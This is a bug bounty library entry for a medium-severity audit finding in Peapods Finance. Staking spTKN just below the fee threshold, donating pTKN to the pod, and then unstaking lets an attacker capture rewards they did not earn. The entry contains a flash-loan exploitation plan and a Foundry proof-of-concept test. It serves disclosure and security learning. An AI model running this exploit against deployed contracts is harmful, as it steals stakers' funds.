# The attacker can steal rewards from spTKNs because they can influence the fee processing by making a direct token transfer to the pod when the fees are below the minimum

Attacker stakes spTKN just below fee threshold, donates pTKN to trigger reward swap, then unstakes in one tx to capture rewards.

- Payout: Audit contest
- Severity: medium
- Program: Peapods Finance
- Found by: Schnilch
- Disclosed: 2025-01-08
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2025-01-peapods-finance-judging/issues/286
- Library page: https://bugbountylibrary.com/r/sherlock%3A2025-01-peapods-finance%3AM-10
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:medium tech:evm tech:solidity technique:chained vuln:business-logic vuln:flash-loan vuln:reward-distribution

**Target:** DecentralizedIndex fee processing / StakingPoolToken rewards
**Root cause:** _processPreSwapFeesAndSwap swaps fees to rewards only when the pod's token balance exceeds a minimum; that balance is manipulable via direct token transfer, so an attacker can stake before the threshold is crossed and unstake after, capturing a share of rewards they did not earn.
**Steps:**
1. Observe pod fees just below the minimum threshold so no rewards are processed
2. Flash loan underlying token, bond into pTKN
3. Add liquidity, receive LP tokens, stake into spTKN (rewards not processed, below min)
4. Directly transfer a few pTKN to the pod to push balance above minimum
5. Unstake spTKN; fees now swap to rewards and attacker receives a portion
6. Remove liquidity, debond, repay flash loan
**How found:** Noticed that _bal in _processPreSwapFeesAndSwap is a raw token balance manipulable by direct transfer, and that staking/unstaking around the threshold crossing lets an attacker be counted as a staker exactly when rewards are distributed.
**Exploitation:** Single-transaction attack: flash loan underlying, bond to pTKN, add liquidity, stake spTKN while fees are below minimum, donate pTKN to cross threshold, unstake to trigger reward distribution and capture share, then unwind and repay. flashMint cannot be used because staking is reverted during it, so attacker flash-loans the underlying and bonds.
**Escalation:** Flash loan amplifies capital to steal a larger share of rewards in one transaction.
**Insight:** When a contract gates an action on a raw token balance (balanceOf) rather than internal accounting, check whether an attacker can cross that threshold at a chosen moment to be included in a distribution they did not earn.

## Proof of concept (copied exactly from the original report)

**PoC test: stake, donate fees, unstake to steal rewards**

```
function testPoc5() public {
        UniswapV2Pair _v2Pool = UniswapV2Pair(_pod1Peas.DEX_HANDLER().getV2Pool(address(_pod1Peas), address(_mockDai)));
        StakingPoolToken _spTKN = StakingPoolToken(_pod1Peas.lpStakingPool());
        TokenRewards _tokenRewards = TokenRewards(_spTKN.POOL_REWARDS());

        vm.startPrank(alice);
        console.log("\n====== Alice bonds 100 PEAS ======");
        _peas.approve(address(_pod1Peas), 100e18);
        _pod1Peas.bond(address(_peas), 100e18, 0);

        console.log("\n====== Alice adds 90 liquidity ======");
        _mockDai.approve(address(_pod1Peas), 90e18);
        _pod1Peas.addLiquidityV2(
            90e18,
            90e18,
            1000,
            block.timestamp
        ); //Alice is the attacker, so she needs a few LP tokens that she can stake later
        vm.stopPrank();

        vm.warp(block.timestamp + 1 days);

        vm.startPrank(bob);
        console.log("\n====== Bob bonds 3300 PEAS ======");
        _peas.approve(address(_pod1Peas), 3300e18);
        _pod1Peas.bond(address(_peas), 3300e18, 0); //Bob bonds so that a few fees are generated, which stay in the pod and are later swapped as rewards
        vm.stopPrank();
        console.log("min: ", _pod1Peas.balanceOf(address(_v2Pool)) / 1000);
        console.log("balance _pod1Peas: ", _pod1Peas.balanceOf(address(_pod1Peas))); //Here you can see that the fees cannot yet be swapped to rewards because the collected fees have not yet reached the minimum required

        vm.startPrank(alice);
        console.log("\n====== Alice stakes 90 lp ======");
        _v2Pool.approve(address(_spTKN), 90e18);
        _spTKN.stake(alice, 90e18); //Since there are still too few fees in the contract, they cannot be processed

        console.log("\n====== Alice fills rewards in order to distribute them ======");
        _pod1Peas.transfer(address(_pod1Peas), 4e18); //Alice sends a few pTKNs as fees to reach the minimum

        console.log("\n====== Alice unstakes 90e18 spTKNs ======");
        console.log("alice peas balance before: ", _peas.balanceOf(alice));
        _spTKN.unstake(90e18); //During unstaking, the fees can be processed, and the rewards are distributed too late, which leads to Alice receiving rewards that she shouldn’t have gotten
        console.log("alice peas balance after: ", _peas.balanceOf(alice));
        vm.stopPrank();
    }
```

